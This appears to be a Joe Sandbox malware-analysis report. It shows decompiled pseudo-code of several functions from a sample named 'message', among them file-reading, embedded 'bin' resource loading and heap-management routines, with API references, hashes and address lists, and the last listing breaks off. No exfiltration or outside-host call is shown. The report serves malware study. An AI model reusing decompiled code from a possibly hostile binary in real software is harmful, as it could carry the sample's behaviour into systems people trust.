0x0042bdae
0x00000000
0x0042bcc9
0x0042bcc9
0x0042be59
0x0042be6c
0x0042be6c

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000001), ref: 0042BD87

Strings

G@,, xrefs: 0042BCAD

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: FileWrite
String ID: G@,
API String ID: 3934441357-3496681718
Opcode ID: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction ID: b69cdc61513ac084dd584beffdc22afea9c25ed320d97ba110819b699bdfb182
Opcode Fuzzy Hash: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction Fuzzy Hash: 7F518D31A10268CFDB32DFA9E880BEDBBB8FF45704FA1401AE9599B252D7344A01DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B213, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119
fileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040B213() {
				void* _t62;
				intOrPtr* _t66;
				void* _t78;
				intOrPtr _t108;
				void* _t109;
				intOrPtr _t113;
				void* _t114;
				void* _t116;

				while(1) {
					 *(_t114 - 4) = 0xffffffff;
					if(_t113 != 0) {
						E00402A90(_t114 - 0x70, _t114 - 0x34);
						_t108 =  *((intOrPtr*)(_t114 - 0x40));
						_t80 =  *(_t108 + 8);
						_t109 = _t108 + 4;
						 *(_t114 - 4) = 2;
						_t66 = E00407C10(_t114 - 0x54, _t114 - 0x70);
						 *(_t114 - 4) = 0xffffffff;
						E004023D0(_t114 - 0x70);
						if(( *(_t108 + 8) & 0xffffff00 |  *_t66 != _t80) == 0) {
							E00407D30(_t114 - 0x34);
							 *(_t113 + 0x38) =  *(_t114 - 0x4c);
							 *((intOrPtr*)(_t113 + 0x3c)) =  *((intOrPtr*)(_t114 - 0x50));
							_push(_t113);
							 *(_t113 + 0x40) =  *(_t114 - 0x48);
							 *((intOrPtr*)(E0040B030(_t109))) = _t113;
							if(( *(_t113 + 0x38) & 0x00000001) != 0) {
								E004085E0( *((intOrPtr*)(_t114 - 0x40)) + 0x10, _t114 - 0x38);
							}
							if(( *(_t113 + 0x38) & 0x00000004) != 0) {
								E004085E0( *((intOrPtr*)(_t114 - 0x40)) + 0x1c, _t114 - 0x38);
							}
							if(( *(_t113 + 0x38) & 0x00000008) != 0) {
								E004085E0( *((intOrPtr*)(_t114 - 0x40)) + 0x28, _t114 - 0x38);
							}
						}
						_t78 =  *(_t114 - 0x44);
					}
					 *((intOrPtr*)(_t114 - 0x50)) = SetFilePointer(_t78, 0, 0, 1);
					if(ReadFile(_t78, _t114 - 0x34, 0x20, _t114 - 0x3c, 0) == 0 ||  *(_t114 - 0x3c) != 0x20 || ReadFile(_t78, _t114 - 0x4c, 4, _t114 - 0x3c, 0) == 0 ||  *(_t114 - 0x3c) != 4 || ReadFile(_t78, _t114 - 0x48, 4, _t114 - 0x3c, 0) == 0 ||  *(_t114 - 0x3c) != 4) {
						break;
					}
					 *(_t114 - 4) = 0;
					_t62 = E004246FE(0x44);
					_t116 = _t116 + 4;
					if(_t62 == 0) {
						_t113 = 0;
						 *((intOrPtr*)(_t114 - 0x38)) = 0;
					} else {
						_t113 = E004078F0(_t62);
						 *((intOrPtr*)(_t114 - 0x38)) = _t113;
					}
				}
				CloseHandle(_t78);
				 *[fs:0x0] =  *((intOrPtr*)(_t114 - 0xc));
				return E00424873(0,  *((intOrPtr*)(_t114 - 0x14)));
			}

0x0040b219
0x0040b21b
0x0040b222
0x0040b22f
0x0040b234
0x0040b237
0x0040b241
0x0040b247
0x0040b24e
0x0040b25b
0x0040b262
0x0040b269
0x0040b275
0x0040b280
0x0040b283
0x0040b289
0x0040b28c
0x0040b294
0x0040b29a
0x0040b2a6
0x0040b2a6
0x0040b2af
0x0040b2bb
0x0040b2bb
0x0040b2c4
0x0040b2d4
0x0040b2d4
0x0040b2c4
0x0040b159
0x0040b159
0x0040b175
0x0040b187
0x00000000
0x00000000
0x0040b1dc
0x0040b1e3
0x0040b1e8
0x0040b1ed
0x0040b1ff
0x0040b201
0x0040b1ef
0x0040b1f6
0x0040b1f8
0x0040b1f8
0x0040b1ed
0x0040b2df
0x0040b2e8
0x0040b2ff

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7

Strings

, xrefs: 0040B18D

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$Read$Pointer
String ID:
API String ID: 2018848721-3916222277
Opcode ID: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction ID: 866c534031c73db29c2cd1ecf333b056677a8ac96b3e8d6862a38f2d8022ddcb
Opcode Fuzzy Hash: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction Fuzzy Hash: 4E419C71900208EBDB24EB95CD84BEEB7B8BF44304F14412EE902772D1EB786945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00421DE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00421DE0(void** _a4, intOrPtr* _a8, struct HINSTANCE__* _a12, CHAR* _a16) {
				struct HRSRC__* _t6;
				void* _t9;
				struct HINSTANCE__* _t12;
				void* _t16;
				struct HRSRC__* _t19;
				long _t20;

				_t12 = _a12;
				_t6 = FindResourceA(_t12, _a16, "bin");
				_t19 = _t6;
				if(_t19 != 0) {
					_t16 = LoadResource(_t12, _t19);
					if(_t16 != 0) {
						_t20 = SizeofResource(_t12, _t19);
						_t9 = LockResource(_t16);
						if(_t9 == 0) {
							goto L3;
						} else {
							 *_a4 = _t9;
							 *_a8 = _t20;
							return 1;
						}
					} else {
						L3:
						return 0;
					}
				} else {
					return _t6;
				}
			}

0x00421de5
0x00421df1
0x00421df7
0x00421dfb
0x00421e09
0x00421e0d
0x00421e1e
0x00421e20
0x00421e28
0x00000000
0x00421e2a
0x00421e32
0x00421e35
0x00421e3e
0x00421e3e
0x00421e0f
0x00421e0f
0x00421e14
0x00421e14
0x00421dff
0x00421dff
0x00421dff

APIs

FindResourceA.KERNEL32(?,?,bin), ref: 00421DF1
LoadResource.KERNEL32(?,00000000,?), ref: 00421E03

Strings

bin, xrefs: 00421DEA

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Resource$FindLoad
String ID: bin
API String ID: 2619053042-2854705901
Opcode ID: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction ID: 9d8cb5d61aa00d475561c7ecdaaca8325d521027bad4654bdbc150deacd057bb
Opcode Fuzzy Hash: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction Fuzzy Hash: AFF062723013315BC7219F6AAC889977BADEFD57A2755483AF901C7210C774C80287B4

Uniqueness

Uniqueness Score: -1.00%

Function 00424722, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00424722(void* __eflags) {
				void* _t30;
				void* _t32;
				intOrPtr* _t36;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				E0042647C(E0042D55D, _t40);
				_t1 = _t40 - 0x28; // 0xe
				E00402A90(_t1, "invalid string position");
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t4 = _t40 - 0x28; // 0xe
				_t5 = _t40 - 0x50; // -26
				E00402A30(_t5, _t44, _t4);
				_t6 = _t40 - 0x50; // -26
				 *((intOrPtr*)(_t40 - 0x50)) = 0x42e474;
				E0042509E(_t6, 0x42fb3c);
				asm("int3");
				E0042647C(E0042D55D, _t40);
				_t8 = _t40 - 0x28; // 0xe
				E00402A90(_t8, "string too long");
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t11 = _t40 - 0x28; // 0xe
				_t12 = _t40 - 0x50; // -26
				_t36 = _t12;
				E00402A30(_t36, _t44, _t11);
				_t13 = _t40 - 0x50; // 0xe
				 *((intOrPtr*)(_t40 - 0x50)) = 0x42e468;
				_t30 = E0042509E(_t13, 0x42fadc);
				asm("int3");
				 *_t36 = 0x42e4a8;
				_t45 =  *((intOrPtr*)(_t36 + 8));
				 *_t36 = 0x42e4f0;
				if( *((intOrPtr*)(_t36 + 8)) != 0) {
					_push( *((intOrPtr*)(_t36 + 4)));
					return E004255BE(_t32, _t38, _t39, _t45);
				}
				return _t30;
			}

0x00424722
0x00424727
0x00424734
0x00424737
0x0042473c
0x00424740
0x00424744
0x00424747
0x00424751
0x00424755
0x0042475c
0x00424761
0x00424767
0x00424774
0x00424777
0x0042477c
0x00424780
0x00424784
0x00424784
0x00424787
0x00424791
0x00424795
0x0042479c
0x004247a1
0x004247a2
0x00425170
0x00425174
0x0042517a
0x0042517c
0x00000000
0x00425184
0x00425185

APIs

__EH_prolog.LIBCMT ref: 00424727

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

__EH_prolog.LIBCMT ref: 00424767

Strings

hB, xrefs: 00424795
invalid string position, xrefs: 0042472F
string too long, xrefs: 0042476F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID: hB$invalid string position$string too long
API String ID: 2062786585-4136523384
Opcode ID: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction ID: 11e73fe8e2f787134ba4100129d5177836af9054e9acb309ed81b3bbf2727209
Opcode Fuzzy Hash: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction Fuzzy Hash: E1F012B2B101389AC700F7D5E945ADDB774AB18319FD0416BE101B5085DBF85608CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00427648, Relevance: 7.7, APIs: 5, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00427648(signed int _a4) {
				intOrPtr _v8;
				struct _MEMORY_BASIC_INFORMATION _v36;
				signed int _t51;
				void* _t52;
				signed int _t53;
				signed int _t55;
				signed int _t56;
				signed int _t57;
				signed int* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				signed int _t64;
				signed int* _t66;
				signed int _t67;
				intOrPtr _t68;
				void* _t69;
				signed int _t70;
				void* _t71;
				intOrPtr _t73;
				void _t74;
				signed int _t75;
				signed int _t76;
				short* _t77;
				void* _t79;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr _t88;
				signed int _t91;
				signed int _t92;
				signed int _t93;

				_t92 = _a4;
				_t69 =  *(_t92 + 8);
				if((_t69 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x18];
				_t51 = _a4;
				_t73 =  *((intOrPtr*)(_t51 + 8));
				_v8 = _t73;
				if(_t69 < _t73 || _t69 >=  *((intOrPtr*)(_t51 + 4))) {
					_t88 =  *((intOrPtr*)(_t92 + 0xc));
					__eflags = _t88 - 0xffffffff;
					if(_t88 != 0xffffffff) {
						_t81 = 0;
						__eflags = 0;
						_a4 = 0;
						_t52 = _t69;
						do {
							_t74 =  *_t52;
							__eflags = _t74 - 0xffffffff;
							if(_t74 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t74 - _t81;
							if(_t74 >= _t81) {
								L41:
								_t56 = 0;
								L57:
								return _t56;
							}
							L9:
							__eflags =  *(_t52 + 4);
							if( *(_t52 + 4) != 0) {
								_t13 =  &_a4;
								 *_t13 = _a4 + 1;
								__eflags =  *_t13;
							}
							_t81 = _t81 + 1;
							_t52 = _t52 + 0xc;
							__eflags = _t81 - _t88;
						} while (_t81 <= _t88);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t53 =  *0x4321b8; // 0x0
							_t91 = _t69 & 0xfffff000;
							_t93 = 0;
							__eflags = _t53;
							if(_t53 <= 0) {
								L18:
								_t55 = VirtualQuery(_t69,  &_v36, 0x1c);
								__eflags = _t55;
								if(_t55 == 0) {
									L56:
									_t56 = _t55 | 0xffffffff;
									__eflags = _t56;
									goto L57;
								}
								__eflags = _v36.Type - 0x1000000;
								if(_v36.Type != 0x1000000) {
									goto L56;
								}
								__eflags = _v36.Protect & 0x000000cc;
								if((_v36.Protect & 0x000000cc) == 0) {
									L28:
									_t57 = InterlockedExchange(0x432200, 1);
									__eflags = _t57;
									if(_t57 != 0) {
										goto L5;
									}
									_t75 =  *0x4321b8; // 0x0
									__eflags = _t75;
									_t82 = _t75;
									if(_t75 <= 0) {
										L33:
										__eflags = _t82;
										if(_t82 != 0) {
											L40:
											InterlockedExchange(0x432200, 0);
											goto L5;
										}
										_t70 = 0xf;
										__eflags = _t75 - _t70;
										if(_t75 <= _t70) {
											_t70 = _t75;
										}
										_t83 = 0;
										__eflags = _t70;
										if(_t70 < 0) {
											L38:
											__eflags = _t75 - 0x10;
											if(_t75 < 0x10) {
												_t76 = _t75 + 1;
												__eflags = _t76;
												 *0x4321b8 = _t76;
											}
											goto L40;
										} else {
											do {
												_t60 = 0x4321c0 + _t83 * 4;
												_t83 = _t83 + 1;
												__eflags = _t83 - _t70;
												 *_t60 = _t91;
												_t91 =  *_t60;
											} while (_t83 <= _t70);
											goto L38;
										}
									}
									_t61 = 0x4321bc + _t75 * 4;
									while(1) {
										__eflags =  *_t61 - _t91;
										if( *_t61 == _t91) {
											goto L33;
										}
										_t82 = _t82 - 1;
										_t61 = _t61 - 4;
										__eflags = _t82;
										if(_t82 > 0) {
											continue;
										}
										goto L33;
									}
									goto L33;
								}
								_t77 = _v36.AllocationBase;
								__eflags =  *_t77 - 0x5a4d;
								if( *_t77 != 0x5a4d) {
									goto L56;
								}
								_t55 =  *((intOrPtr*)(_t77 + 0x3c)) + _t77;
								__eflags =  *_t55 - 0x4550;
								if( *_t55 != 0x4550) {
									goto L56;
								}
								__eflags =  *((short*)(_t55 + 0x18)) - 0x10b;
								if( *((short*)(_t55 + 0x18)) != 0x10b) {
									goto L56;
								}
								_t71 = _t69 - _t77;
								__eflags =  *((short*)(_t55 + 6));
								_t79 = ( *(_t55 + 0x14) & 0x0000ffff) + _t55 + 0x18;
								if( *((short*)(_t55 + 6)) <= 0) {
									goto L56;
								}
								_t63 =  *((intOrPtr*)(_t79 + 0xc));
								__eflags = _t71 - _t63;
								if(_t71 < _t63) {
									goto L28;
								}
								__eflags = _t71 -  *((intOrPtr*)(_t79 + 8)) + _t63;
								if(_t71 >=  *((intOrPtr*)(_t79 + 8)) + _t63) {
									goto L28;
								}
								__eflags =  *(_t79 + 0x27) & 0x00000080;
								if(( *(_t79 + 0x27) & 0x00000080) != 0) {
									goto L41;
								}
								goto L28;
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x4321c0 + _t93 * 4)) - _t91;
								if( *((intOrPtr*)(0x4321c0 + _t93 * 4)) == _t91) {
									break;
								}
								_t93 = _t93 + 1;
								__eflags = _t93 - _t53;
								if(_t93 < _t53) {
									continue;
								}
								goto L18;
							}
							__eflags = _t93;
							if(_t93 <= 0) {
								goto L5;
							}
							_t64 = InterlockedExchange(0x432200, 1);
							__eflags = _t64;
							if(_t64 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x4321c0 + _t93 * 4)) - _t91;
							if( *((intOrPtr*)(0x4321c0 + _t93 * 4)) == _t91) {
								L53:
								_t80 = 0;
								__eflags = _t93;
								if(_t93 < 0) {
									L55:
									InterlockedExchange(0x432200, 0);
									goto L5;
								} else {
									goto L54;
								}
								do {
									L54:
									_t66 = 0x4321c0 + _t80 * 4;
									_t80 = _t80 + 1;
									__eflags = _t80 - _t93;
									 *_t66 = _t91;
									_t91 =  *_t66;
								} while (_t80 <= _t93);
								goto L55;
							}
							_t67 =  *0x4321b8; // 0x0
							_t43 = _t67 - 1; // -1
							_t93 = _t43;
							__eflags = _t93;
							if(_t93 < 0) {
								L49:
								__eflags = _t67 - 0x10;
								if(_t67 < 0x10) {
									_t67 = _t67 + 1;
									__eflags = _t67;
									 *0x4321b8 = _t67;
								}
								_t46 = _t67 - 1; // 0x0
								_t93 = _t46;
								goto L53;
							} else {
								goto L46;
							}
							while(1) {
								L46:
								__eflags =  *((intOrPtr*)(0x4321c0 + _t93 * 4)) - _t91;
								if( *((intOrPtr*)(0x4321c0 + _t93 * 4)) == _t91) {
									break;
								}
								_t93 = _t93 - 1;
								__eflags = _t93;
								if(_t93 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t93;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L55;
								}
								goto L53;
							}
							goto L49;
						}
						_t68 =  *((intOrPtr*)(_t92 - 8));
						__eflags = _t68 - _v8;
						if(_t68 < _v8) {
							goto L41;
						}
						__eflags = _t68 - _t92;
						if(_t68 >= _t92) {
							goto L41;
						}
						goto L15;
					}
					L5:
					_t56 = 1;
					goto L57;
				} else {
					goto L3;
				}
			}

0x00427650
0x00427653
0x00427659
0x00427676
0x00000000
0x00427676
0x00427661
0x00427664
0x00427667
0x0042766c
0x0042766f
0x0042767e
0x00427681
0x00427684
0x0042768e
0x0042768e
0x00427690
0x00427693
0x00427695
0x00427695
0x00427697
0x0042769a
0x00000000
0x00000000
0x0042769c
0x0042769e
0x004277e9
0x004277e9
0x0042786c
0x00000000
0x0042786c
0x004276a4
0x004276a4
0x004276a8
0x004276aa
0x004276aa
0x004276aa
0x004276aa
0x004276ad
0x004276ae
0x004276b1
0x004276b1
0x004276b5
0x004276b9
0x004276cf
0x004276cf
0x004276d6
0x004276dc
0x004276de
0x004276e0
0x004276f4
0x004276fb
0x00427701
0x00427703
0x00427869
0x00427869
0x00427869
0x00000000
0x00427869
0x00427709
0x00427710
0x00000000
0x00000000
0x00427716
0x0042771a
0x00427772
0x00427779
0x0042777f
0x00427781
0x00000000
0x00000000
0x00427787
0x0042778d
0x0042778f
0x00427791
0x004277a6
0x004277a6
0x004277a8
0x004277d7
0x004277de
0x00000000
0x004277de
0x004277ac
0x004277ad
0x004277af
0x004277b1
0x004277b1
0x004277b3
0x004277b5
0x004277b7
0x004277cb
0x004277cb
0x004277ce
0x004277d0
0x004277d0
0x004277d1
0x004277d1
0x00000000
0x004277b9
0x004277b9
0x004277b9
0x004277c2
0x004277c3
0x004277c5
0x004277c7
0x004277c7
0x00000000
0x004277b9
0x004277b7
0x00427793
0x0042779a
0x0042779a
0x0042779c
0x00000000
0x00000000
0x0042779e
0x0042779f
0x004277a2
0x004277a4
0x00000000
0x00000000
0x00000000
0x004277a4
0x00000000
0x0042779a
0x0042771c
0x0042771f
0x00427724
0x00000000
0x00000000
0x0042772d
0x0042772f
0x00427735
0x00000000
0x00000000
0x0042773b
0x00427741
0x00000000
0x00000000
0x00427747
0x00427749
0x00427752
0x00427756
0x00000000
0x00000000
0x0042775c
0x0042775f
0x00427761
0x00000000
0x00000000
0x00427768
0x0042776a
0x00000000
0x00000000
0x0042776c
0x00427770
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004276e2
0x004276e2
0x004276e2
0x004276e9
0x00000000
0x00000000
0x004276ef
0x004276f0
0x004276f2
0x00000000
0x00000000
0x00000000
0x004276f2
0x004277ed
0x004277ef
0x00000000
0x00000000
0x00427802
0x00427804
0x00427806
0x00000000
0x00000000
0x0042780c
0x00427813
0x00427843
0x00427843
0x00427845
0x00427847
0x0042785b
0x00427862
0x00000000
0x00000000
0x00000000
0x00000000
0x00427849
0x00427849
0x00427849
0x00427852
0x00427853
0x00427855
0x00427857
0x00427857
0x00000000
0x00427849
0x00427815
0x0042781a
0x0042781a
0x0042781d
0x0042781f
0x00427831
0x00427831
0x00427834
0x00427836
0x00427836
0x00427837
0x00427837
0x0042783c
0x0042783c
0x00000000
0x00000000
0x00000000
0x00000000
0x00427821
0x00427821
0x00427821
0x00427828
0x00000000
0x00000000
0x0042782a
0x0042782a
0x0042782b
0x00000000
0x00000000
0x00000000
0x0042782b
0x0042782d
0x0042782f
0x00427841
0x00000000
0x00000000
0x00000000
0x00427841
0x00000000
0x0042782f
0x004276bb
0x004276be
0x004276c1
0x00000000
0x00000000
0x004276c7
0x004276c9
0x00000000
0x00000000
0x00000000
0x004276c9
0x00427686
0x00427688
0x00000000
0x00000000
0x00000000
0x00000000

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,00425255,?), ref: 004276FB
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427779
InterlockedExchange.KERNEL32(00432200,00000000), ref: 004277DE
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427802
InterlockedExchange.KERNEL32(00432200,00000000), ref: 00427862

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction ID: 69315932293a6f15bc6fa72f35dddf1ea49eabd3a30424e24b4ce32bea02e01f
Opcode Fuzzy Hash: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction Fuzzy Hash: EA510730B086319BDB248B19FAC4B3A73A1AB41724FA5956FD511873E1D3B8EC81C65C

Uniqueness

Uniqueness Score: -1.00%

Function 00428FE3, Relevance: 7.6, APIs: 5, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00428FE3(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				long _t30;
				long _t31;
				long _t33;
				void* _t36;
				long _t38;
				long _t41;
				long _t42;
				long _t44;
				long _t46;
				void* _t59;
				long _t61;
				void* _t67;
				void* _t68;

				_push(0x14);
				_push(0x42ea90);
				E0042664C(__ebx, __edi, __esi);
				_t59 =  *(_t67 + 8);
				if(_t59 != 0) {
					_t61 =  *(_t67 + 0xc);
					__eflags = _t61;
					if(__eflags != 0) {
						__eflags =  *0x4338b8 - 3;
						if( *0x4338b8 != 3) {
							while(1) {
								_t28 = 0;
								__eflags = _t61 - 0xffffffe0;
								if(_t61 <= 0xffffffe0) {
									__eflags = _t61;
									if(_t61 == 0) {
										_t61 = 1;
										__eflags = 1;
									}
									_t28 = HeapReAlloc( *0x4338b4, 0, _t59, _t61);
								}
								__eflags = _t28;
								if(_t28 != 0) {
									goto L37;
								}
								__eflags =  *0x43237c; // 0x0
								if(__eflags == 0) {
									goto L37;
								}
								_t30 = E004263C6(_t61);
								__eflags = _t30;
								if(_t30 != 0) {
									continue;
								}
								goto L36;
							}
							goto L37;
						} else {
							goto L5;
						}
						do {
							L5:
							 *(_t67 - 0x1c) = 0;
							__eflags = _t61 - 0xffffffe0;
							if(_t61 > 0xffffffe0) {
								L25:
								_t28 =  *(_t67 - 0x1c);
								__eflags =  *(_t67 - 0x1c);
								if( *(_t67 - 0x1c) != 0) {
									goto L37;
								}
								__eflags =  *0x43237c; // 0x0
								if(__eflags == 0) {
									goto L37;
								}
								goto L27;
							}
							E0042758B(0, _t59, 4);
							 *(_t67 - 4) = 0;
							_t33 = E00428508(_t59);
							 *(_t67 - 0x20) = _t33;
							__eflags = _t33;
							if(_t33 == 0) {
								L21:
								 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
								E0042914B();
								__eflags =  *(_t67 - 0x20);
								if( *(_t67 - 0x20) == 0) {
									__eflags = _t61;
									if(_t61 == 0) {
										_t61 = 1;
										__eflags = 1;
									}
									_t61 = _t61 + 0x0000000f & 0xfffffff0;
									__eflags = _t61;
									 *(_t67 + 0xc) = _t61;
									 *(_t67 - 0x1c) = HeapReAlloc( *0x4338b4, 0, _t59, _t61);
								}
								goto L25;
							}
							__eflags = _t61 -  *0x4338a4;
							if(_t61 <=  *0x4338a4) {
								_push(_t61);
								_push(_t59);
								_push(_t33);
								_t41 = E00428A08();
								_t68 = _t68 + 0xc;
								__eflags = _t41;
								if(_t41 == 0) {
									_push(_t61);
									_t42 = E00428CE7();
									 *(_t67 - 0x1c) = _t42;
									__eflags = _t42;
									if(_t42 != 0) {
										_t44 =  *((intOrPtr*)(_t59 - 4)) - 1;
										 *(_t67 - 0x24) = _t44;
										__eflags = _t44 - _t61;
										if(_t44 >= _t61) {
											_t44 = _t61;
										}
										E00425FD0( *(_t67 - 0x1c), _t59, _t44);
										_t46 = E00428508(_t59);
										 *(_t67 - 0x20) = _t46;
										_push(_t59);
										_push(_t46);
										E00428533();
										_t68 = _t68 + 0x18;
									}
								} else {
									 *(_t67 - 0x1c) = _t59;
								}
							}
							__eflags =  *(_t67 - 0x1c);
							if( *(_t67 - 0x1c) == 0) {
								__eflags = _t61;
								if(_t61 == 0) {
									_t61 = 1;
									__eflags = 1;
									 *(_t67 + 0xc) = 1;
								}
								_t61 = _t61 + 0x0000000f & 0xfffffff0;
								 *(_t67 + 0xc) = _t61;
								_t36 = HeapAlloc( *0x4338b4, 0, _t61);
								 *(_t67 - 0x1c) = _t36;
								__eflags = _t36;
								if(_t36 != 0) {
									_t38 =  *((intOrPtr*)(_t59 - 4)) - 1;
									 *(_t67 - 0x24) = _t38;
									__eflags = _t38 - _t61;
									if(_t38 >= _t61) {
										_t38 = _t61;
									}
									E00425FD0( *(_t67 - 0x1c), _t59, _t38);
									_push(_t59);
									_push( *(_t67 - 0x20));
									E00428533();
									_t68 = _t68 + 0x14;
								}
							}
							goto L21;
							L27:
							_t31 = E004263C6(_t61);
							__eflags = _t31;
						} while (_t31 != 0);
						goto L36;
					} else {
						_push(_t59);
						E004255BE(0, _t59, _t61, __eflags);
						L36:
						_t28 = 0;
						__eflags = 0;
						goto L37;
					}
				} else {
					_t28 = E004263B4( *(_t67 + 0xc));
					L37:
					return E00426687(_t28);
				}
			}

0x00428fe3
0x00428fe5
0x00428fea
0x00428fef
0x00428ff6
0x00429006
0x00429009
0x0042900b
0x00429019
0x00429020
0x00429154
0x00429154
0x00429156
0x00429159
0x0042915b
0x0042915d
0x00429161
0x00429161
0x00429161
0x0042916b
0x0042916b
0x00429171
0x00429173
0x00000000
0x00000000
0x00429175
0x0042917b
0x00000000
0x00000000
0x0042917e
0x00429184
0x00429186
0x00000000
0x00000000
0x00000000
0x00429186
0x00000000
0x00000000
0x00000000
0x00000000
0x00429026
0x00429026
0x00429026
0x00429029
0x0042902c
0x00429123
0x00429123
0x00429126
0x00429128
0x00000000
0x00000000
0x0042912a
0x00429130
0x00000000
0x00000000
0x00000000
0x00429130
0x00429034
0x0042903a
0x0042903e
0x00429044
0x00429047
0x00429049
0x004290f3
0x004290f3
0x004290f7
0x004290fc
0x004290ff
0x00429101
0x00429103
0x00429107
0x00429107
0x00429107
0x0042910b
0x0042910b
0x0042910e
0x00429120
0x00429120
0x00000000
0x004290ff
0x0042904f
0x00429055
0x00429057
0x00429058
0x00429059
0x0042905a
0x0042905f
0x00429062
0x00429064
0x0042906b
0x0042906c
0x00429072
0x00429075
0x00429077
0x0042907c
0x0042907d
0x00429080
0x00429082
0x00429084
0x00429084
0x0042908b
